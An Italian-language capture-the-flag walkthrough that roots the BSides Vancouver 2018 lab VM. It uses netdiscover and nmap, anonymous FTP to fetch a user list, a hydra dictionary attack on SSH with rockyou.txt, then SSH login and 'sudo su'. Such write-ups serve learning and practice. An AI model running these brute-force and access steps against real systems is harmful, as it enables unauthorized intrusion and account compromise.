

Stiamo svolgendo una black box sulla macchina Vancouver , il nostro obiettivo e di riscuir ad avere i permessi di root.

Si inizia con una scansione della rete con net discover per poter trovar ip della macchina target .

```
kali@kali: ~  
File Actions Edit View Help  
Currently scanning: 192.168.189.0/16 | Screen View: Unique Hosts  
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180  


| IP             | At MAC Address    | Count | Len | MAC Vendor / Hostname  |
|----------------|-------------------|-------|-----|------------------------|
| 192.168.56.1   | 0a:00:27:00:00:03 | 1     | 60  | Unknown vendor         |
| 192.168.56.100 | 08:00:27:c8:c1:f8 | 1     | 60  | PCS Systemtechnik GmbH |
| 192.168.56.105 | 08:00:27:af:c0:d0 | 1     | 60  | PCS Systemtechnik GmbH |


```

Trovato ip non ci rimane altro che usare un port scanning come nmap per poter vedere i servizi e le porte che son aperte e funzionanti sul target .

Apriamo il terminale e lanciamo il comando nmap -sv -A -O seguito dall'indirizzo ip .

```
└─$ sudo nmap -sV -O -A -T5 192.168.56.105  
[sudo] password for kali:  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-29 14:01 EDT  
Nmap scan report for 192.168.56.105  
Host is up (0.011s latency).  
Not shown: 997 closed tcp ports (reset)  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp      vsftpd 2.3.5  
| ftp-syst:  
|_ STAT:  
|_ FTP server status:  
|_   Connected to 192.168.56.106  
|_   Logged in as ftp  
|_   TYPE: ASCII  
|_   No session bandwidth limit  
|_   Session timeout in seconds is 300  
|_   Control connection is plain text  
|_   Data connections will be plain text  
|_   At session startup, client count was 4  
|_   vsFTPD 2.3.5 - secure, fast, stable  
|_ End of status  
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)  
|_ drwxr-xr-x  2 65534  65534   4096 Mar 03 2018 public  
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
|_ 1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)  
|_ 2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)  
|_ 256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
```

Possiamo vedere che ci sono 3 porte aperte con altrettanti servizi attivi . Useremo ftp per entrare tramite anonymous .

Perciò apriremo il terminale e digiteremo quando segue

```
(kali㉿ kali) [~]
$ ftp 192.168.56.105
Connected to 192.168.56.105.
220 (vsFTPd 2.3.5)
Name (192.168.56.105:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (||||5621|).
150 Here comes the directory listing.
drwxr-xr-x  2 65534  65534   4096 Mar 03 2018 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (||||5485|).
150 Here comes the directory listing.
-rw-r--r--  1 0      0      31 Mar 03 2018 users.txt.bk
226 Directory send OK.
ftp> get users.txt.bk
local: users.txt.bk remote: users.txt.bk
229 Entering Extended Passive Mode (||||23600|).
150 Opening BINARY mode data connection for users.txt.bk (31 bytes).
100% |*****| 31  0.51 KiB/s  00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (0.39 KiB/s)
ftp>
```

Grazie ad esso siamo venuti a conoscenza di un file che al suo interno risiedevano i nome degli users .

Scarichiamo il file con il comando get e non ci rimane altro che fare un attacco a dizionario tramite il tool hydra per provare ad acquisire la password .

```
$ hydra -l anne -P ~/Desktop/rockyou.txt 192.168.56.105 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2023-09-29 14:08:09
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586
100 tries per task
[DATA] attacking ssh://192.168.56.105:22/
[22][ssh] host: 192.168.56.105 login: anne password: *****
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2023-09-29 14:08:28
```

Dal immagine sopra citata possiamo vedere come abbiamo usato un file di password all'interno del comando con il reciproco protocollo che in questo caso è ssh , esso ci permettera di creare una shell e pilotare il target da remoto .

Ora che sappiamo users e la password basta lanciar il comando (come in foto sottostante) per poter usufruire del protocollo .

```
(kali㉿ kali)-[~]
$ ssh anne@192.168.56.105
anne@192.168.56.105's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Sep 29 11:11:05 2023 from 192.168.56.106
anne@bsides2018:~$ sudo su
[sudo] password for anne:
root@bsides2018:/home/anne# cd
root@bsides2018:~# ls
flag.txt
root@bsides2018:~# touch flag.txt
root@bsides2018:~# nano flag.txt
root@bsides2018:~#
```

non ci rimane altro che usare il comando sudo su ed immettere la password. Abbiamo i permessi di root!

Ora scovando tra le directory troveremo un file, apriamolo ...

```
Congratulations!

If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?

@abatchy17
```